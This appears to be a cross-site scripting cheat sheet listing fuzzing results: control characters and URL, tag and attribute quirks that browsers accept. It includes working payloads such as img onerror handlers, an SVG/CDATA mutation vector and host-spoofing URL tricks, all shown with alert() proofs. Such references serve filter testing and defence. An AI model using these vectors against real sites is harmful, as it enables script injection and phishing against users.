Cheat Sheet

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(33));0x0D
if(!/%/.test(anchor+''))alert(33)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(40));0x0D
if(!/%/.test(anchor+''))alert(40)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(41));0x0D
if(!/%/.test(anchor+''))alert(41)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(42));0x0D
if(!/%/.test(anchor+''))alert(42)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(45));0x0D
if(!/%/.test(anchor+''))alert(45)

<img src onerror=alert(61)>

const x⟦09⟧="x"0x0D
if(x==="x"){alert(9)}

const x
="x"0x0D
if(x==="x"){alert(10)}

const x0x0B="x"0x0D
if(x==="x"){alert(11)}

const x0x0C="x"0x0D
if(x==="x"){alert(12)}

const x0x0D="x"0x0D
if(x==="x"){alert(13)}

<img src=x onerror=0x09alert(9)>

<img src=x onerror=
alert(10)>

<img src=x onerror=0x0Balert(11)>

<img src=x onerror=0x0Calert(12)>

<img src=x onerror=0x0Dalert(13)>

<script0x09>alert(9)</script>

<script
>alert(10)</script>

<script0x0C>alert(12)</script>

<script0x0D>alert(13)</script>

<script >alert(32)</script>

<a href="/0x09/example2.com" id=x></a>

<a href="/
/example2.com" id=x></a>

<a href="/0x0D/example2.com" id=x></a>

<a href="///example2.com" id=x></a>

<a href="/\/example2.com" id=x></a>

<a href="https://example2.com" id=x></a>

<a href="https:\\example2.com" id=x></a>

<a href="//0x09example2.com" id=x></a>

<a href="//
example2.com" id=x></a>

<a href="//0x0Dexample2.com" id=x></a>

<a href="///example2.com" id=x></a>

<a href="//@example2.com" id=x></a>

<svg><style>⟦0D⟧
x = "<![CDATA[</style><img title="]]]></style></svg><img src onerror=alert(93)>">

var markup = `<a0x09id=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(9)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a
id=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(10)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a0x0Cid=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(12)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a0x0Did=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(13)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a id=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(32)0x0D
 }0x0D
0x0D
0x0D

if('1337' + String.fromCodePoint(9) + String.fromCodePoint(9) == 1337){alert(9)}

if('1337' + String.fromCodePoint(10) + String.fromCodePoint(10) == 1337){alert(10)}

if('1337' + String.fromCodePoint(11) + String.fromCodePoint(11) == 1337){alert(11)}

if('1337' + String.fromCodePoint(12) + String.fromCodePoint(12) == 1337){alert(12)}

if('1337' + String.fromCodePoint(13) + String.fromCodePoint(13) == 1337){alert(13)}

if (new URL("https://0x09google.com/endpoint").host=="google.com"){alert(9)}

if (new URL("https:///google.com/endpoint").host=="google.com"){alert(47)}

if (new URL("https://@google.com/endpoint").host=="google.com"){alert(64)}

if (new URL("https://\google.com/endpoint").host=="google.com"){alert(92)}

if (new URL("https://­google.com/endpoint").host=="google.com"){alert(173)}

prompt?.();alert(63)

alert0x09();alert(9)

alert
();alert(10)

alert0x0B();alert(11)

alert0x0C();alert(12)

alert0x0D();alert(13)

eval('0x09alert(9)0x09')

eval('0x0Balert(11)0x0B')

eval('0x0Calert(12)0x0C')

eval(' alert(32) ')

eval(';alert(59);')

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->

<div a='><!-- '></div><img src=x:x onerror=alert(39) -->

<div 0x09="><img src=x:x onerror=alert(9)>"></div>

<div 
="><img src=x:x onerror=alert(10)>"></div>

<div 0x0C="><img src=x:x onerror=alert(12)>"></div>

<div 0x0D="><img src=x:x onerror=alert(13)>"></div>

<div  ="><img src=x:x onerror=alert(32)>"></div>

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->

<div a='><!-- '></div><img src=x:x onerror=alert(39) -->

if (new URL("https://" + String.fromCodePoint(91) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(91)}

if (new URL("https://" + String.fromCodePoint(65095) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(65095)}

if (new URL("https://" + String.fromCodePoint(65339) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(65339)}

"0x091337"==1337&&alert(9)

"0x0B1337"==1337&&alert(11)

"0x0C1337"==1337&&alert(12)

" 1337"==1337&&alert(32)

"+1337"==1337&&alert(43)